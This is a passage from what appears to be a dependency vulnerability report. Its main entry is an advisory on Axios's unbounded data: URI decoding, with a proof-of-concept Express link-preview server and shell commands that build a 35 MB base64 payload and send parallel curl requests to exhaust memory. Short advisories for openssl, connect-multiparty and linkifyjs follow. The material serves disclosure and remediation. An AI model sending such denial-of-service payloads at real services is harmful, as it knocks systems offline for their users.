(DoS vector). */ app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 * 1024, // Axios will ignore this for data: maxBodyLength: 8 * 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 * 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`); console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`); }); Run this app and send 3 post requests: SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null``` Suggestions Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

openssl 3.5.0-r0 (apk) pkg:apk/alpine/openssl@3.5.0-r0?os_name=alpine&os_version=3.22 Affected range <3.5.4-r0 Fixed version 3.5.4-r0 EPSS Score 0.026% EPSS Percentile 7th percentile Description

connect-multiparty 2.2.0 (npm) pkg:npm/connect-multiparty@2.2.0 Unrestricted Upload of File with Dangerous Type Affected range <=2.2.0 Fixed version Not Fixed CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.448% EPSS Percentile 63rd percentile Description An arbitrary file upload vulnerability in the file upload module of Express Connect-Multiparty 2.2.0 allows attackers to execute arbitrary code via a crafted PDF file. NOTE: the Supplier has not verified this vulnerability report.

linkifyjs 4.2.0 (npm) pkg:npm/linkifyjs@4.2.0 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') Affected range <4.3.2 Fixed version 4.3.2 CVSS Score 8.8 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N EPSS Score 0.123% EPSS Percentile 32nd percentile Description Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.